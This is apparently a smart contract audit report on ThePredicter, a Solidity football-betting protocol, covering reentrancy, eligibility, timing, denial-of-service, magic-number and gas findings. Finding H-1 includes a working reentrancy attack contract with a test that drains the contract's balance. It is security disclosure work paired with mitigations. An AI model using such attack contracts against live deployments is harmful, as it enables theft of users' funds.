ThePredicter Audit Report

Version 1.0

PatrickWorks

August 3, 2024

ThePredicter Audit Report

PatrickWorks

August 2, 2024

Prepared by: PatrickWorks

Table of Contents

Protocol Summary

Ivan has organized a betting system for a football tournament using Web 3 technologies, enabling him and his 15 trusted friends to watch and bet on matches. He rents a hall with a capacity for 30 people and opens participation to up to 14 additional, potentially unknown individuals. Participants must pay entry and prediction fees to contribute to the prize pool and cover hall expenses. Ivan, serving as the Organizer, is responsible for approving Users to become Players and entering match results. He prioritizes approvals for his 15 friends while ensuring the protocol is secure against potential malicious actions from unknown participants.

The protocol employs a point-based system, rewarding Players with points for correct predictions and deducting points for incorrect ones. After the tournament's nine matches, Players with positive point totals and at least one paid prediction fee receive a share of the prize pool based on their points. If all Players have negative points, they receive a refund of their entry fees.

Disclaimer

I make every effort to find as many vulnerabilities in the code within the given time period, but I hold no responsibility for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed, and my review of the code focused solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 839bfa56fe0066e7f5610197a6b670c26a4c0879
- In Scope:

Scope

```
./src/
#-- ScoreBoard.sol
#-- ThePredicter.sol
```

Roles

The protocol have the following roles: Organizer, User and Player. Everyone can be a User and after approval of the Organizer can become a Player. Ivan has the roles of both Organizer and Player. Ivan's 15 friends are Players. These 16 people are considered honest and trusted. They will not intentionally take advantage of vulnerabilities in the protocol. The Users and the other 14 people with the role of Players are unknown and the protocol must be protected from any malicious actions by them.

Executive Summary

Issues found

- High: 2
- Medium: 2
- Low: 0
- Informational: 2
- Gas: 1

Findings

High

[H-1] Reentrancy attack via `ThePredicter::cancelRegistration` allows draining contract balance

Description:

After a user has registered using`ThePredicter::register`with an entranceFee, they can call `ThePredicter::cancelRegistration`to get back their entranceFee again. The `ThePredicter::cancelRegistration`function is vulnerable to reentrancy attacks.

Impact:

Contract balance can be drained.

Proof Of Concept:

Place the following contract code in the contracts folder:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {ThePredicter} from "./ThePredicter.sol";

contract EvilContract {
    ThePredicter thePredicter;

    constructor(address predicterAddr) {
        thePredicter = ThePredicter(predicterAddr);
    }

    function register() public payable {
        thePredicter.register{value: msg.value}();
    }

    function attack() public {
        thePredicter.cancelRegistration();
    }

    receive() external payable {
        if (msg.value <= address(thePredicter).balance) {
            thePredicter.cancelRegistration();
        }
    }
}
```

Then add this test into the test suite `ThePredicter.test.sol`:

```
function test_reentrancyCancelRegistration() public {
    uint256 numUsers = 20;

    // Register 20 users, so the contract gets some initial balance
    for (uint256 i=0; i<numUsers; i++) {
        address usr = address(uint160(100 + i));
        vm.startPrank(usr);
        vm.deal(usr, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();
    }

    // Register the attack contract as a player
    EvilContract evilContract = new EvilContract(address(thePredicter))
        ;
    vm.deal(address(evilContract), 1 ether);
    evilContract.register{value: 0.04 ether}();

    // Balance should be equal to entranceFee of 21 users now
    assertEq(address(thePredicter).balance, 0.04 ether * numUsers +
        0.04 ether);

    evilContract.attack();

    // Contract balance is empty
    assertEq(address(thePredicter).balance, 0);
}
```

Recommended Mitigation:

Checks-effects-interactions (CEI) pattern or a non-reentrancy guard by for example OpenZeppelin.

[H-2] `ScoreBoard::isEligibleForReward` requires more than 1 prediction, but documentation says only 1 required

Description:

The documentation says:

"Players can receive an amount from the prize fund only if their total number of points is a positive number and if they had paid at least one prediction fee."

But `ScoreBoard::isEligibleForReward`requires the user to have more than 1 prediction.

Recommended Mitigation:

```
function isEligibleForReward(address player) public view returns (bool)
     {
    return
```

```
        results[NUM_MATCHES - 1] != Result.Pending &&
- playersPredictions[player].predictionsCount > 1;
+ playersPredictions[player].predictionsCount >= 1;
}
```

Medium

[M-1] The time window for making predictions is wrong

Description:

The documentation says: *"Every day from 20:00:00 UTC one match is played. Until 19:00:00 UTC on the day of the match, predictions can be made by any approved Player."*

However, the `ThePredicter::makePrediction` function checks the prediction time window like this: `if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) { revert ThePredicter__PredictionsAreClosed(); }`

I guess the intention here is to make it 1 hour before the match start time. In that case there are multiple flaws here:

1. 68400 that matchNumber is multiplied with is 19 hours and not 24 hours
2. The 68400 that it subtracts with, should be 1 hour

Impact:

Contract does not work as intended

Proof Of Concept:

Recommended Mitigation:

Change the code that checks the date to:

```
+ uint256 oneDayInSeconds = 86400
+ uint256 oneHourInSeconds = 3600
+ if (block.timestamp > START_TIME + matchNumber * oneDayInSeconds -
   oneHourInSeconds) {
- if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
      revert ThePredicter__PredictionsAreClosed();
}
```

[M-2] `ThePredicter::withdrawPredictionFees` makes a faulty assumption which opens the contract for DoS

Description:

When the organizer calls `ThePredicter::withdrawPredictionFees`, the balance of the contract subtracted by all the players entrance fees is supposed to be returned. Which more or less is assumed to be the sum of the predictionFees. However, the way this is done now is by using: `address(this).balance - players.length * entranceFee`

But `players.length` is only increased after a player is approved, not when a player is only registered. So if many players register but aren't approved, it will ruin the formula above, making the organizer withdraw a lot more Ether than intended.

One might think that this is not a problem because the organizer is the one getting extra money, and one might think this is not a problem because the organizer can just approve all the extra players that register. However, as soon as the number of players reach 30, the organizer cannot approve more of them, but nothing is preventing more users from registering using `ThePredicter::register`. And while the organizer is the one getting extra funds, it ruins the functionality of the contract so the players who want to withdraw their winnings later don't have anything to withdraw anymore.

Impact:

Denial of service. Might require a lot of funds to pull off, but there is basically no risk since the entranceFee can be paid back again.

Proof Of Concept:

Example (PoC): Assume that the entranceFee = 1 ether and predictionFee = 0.1 ether

1. `ThePredicter` gets 30 players who register Contract balance now = 30 ether
2. The 30 players gets approved and make 60 predictions for 0.1 ether each Contract balance now = 30 ether + 0.1 * 60 ether = 36 ether
3. 20 new malicious users register so the contract gains 20 * entranceFee, and the organizer cannot approve these players. Contract balance now = 36 ether + 20 ether = 56 ether
4. If the organizer now calls `ThePredicter::withdrawPredictionFees`, it will withdraw using the formula: address(this).balance - players.length * entranceFee Which will result in a withdrawal of: 56 ether - 30 ether = 26 ether

   Contract balance now = 30 ether
5. If the 20 malicious users now call `ThePredicter:cancelRegistration` to get back their entranceFee, the contract balance will not have enough to pay the winners later. The balance of the contract will be: 30 - 20 ether = 10 ether

Since the reward pool for predictions is taken from entranceFees for the players, the reward pool should be more than 30 ether since the number of players making predictions are 30 players.

Recommended Mitigation:

Have real bookkeeping of how many predictionFees are added by adding some storage variable that keeps track of it, instead of relying on balance that's unpredictable.

Low

Informational

[I-1] Using magic numbers in `ScoreBoard` and `ThePredicter`

Description: Avoid using magic numbers, use descriptive named constants. Here are the places with magic numbers:

ScoreBoard.sol (line 68)

```
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
```

ScoreBoard.sol (line 92)

```
predictions[i] == results[i]
                ? int8(2)
                : -1;
```

ThePredicter.sol (line 51)

```
if (block.timestamp > START_TIME - 14400) {
    revert ThePredicter__RegistrationIsOver();
}
```

ThePredicter.sol (line 96)

```
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
    revert ThePredicter__PredictionsAreClosed();
}
```

Recommended Mitigation:

Suggestions:

```
+     // Correct guess is 2
+     int8 public constant CORRECT_GUESS = 2;
+     // Incorrect guess is -1
+     int8 public constant INCORRECT_GUESS = -1;
+     // Match time interval is 68400 seconds
+     uint256 public constant MATCH_TIME_INTERVAL = 68400;
+     // Register time is 14400 seconds
+     uint256 public constant REGISTER_TIME = 14400;
```

[I-2] Using magic numbers in `ScoreBoard` and `ThePredicter`

Description: Player can pay multiple times in `ThePredicter::register` when not supposed to. If the player is approved, the player can call `ThePredicter::register` and pay again which leads to the player getting status PENDING again.

Impact: Even if this is not necessarily a security hole, the player can lose money by calling this function by mistake. Not to mention, the player gets its status set to Pending again even when added/approved as a player.

Recommended Mitigation: Add a check so Approved players cannot register again:

```
- if (playersStatus[msg.sender] == Status.Pending) {
+ if (playersStatus[msg.sender] == Status.Pending || playersStatus[msg.
    sender] == Status.Approved) {
revert ThePredicter__CannotParticipateTwice();
}
```

Gas

[G-1] Change storage variables set on deployment to immutable

Description:

The following storage variables are set on deployment and might as well be immutable:

```
address public organizer;
uint256 public entranceFee;
uint256 public predictionFee;
ScoreBoard public scoreBoard;
```

Recommended Mitigation:

```
- address public organizer;
- address[] public players;
- uint256 public entranceFee;
- uint256 public predictionFee;
- ScoreBoard public scoreBoard;
+ address public immutable organizer;
+ uint256 public immutable entranceFee;
+ uint256 public immutable predictionFee;
+ ScoreBoard public immutable scoreBoard;

+ address[] public players;
```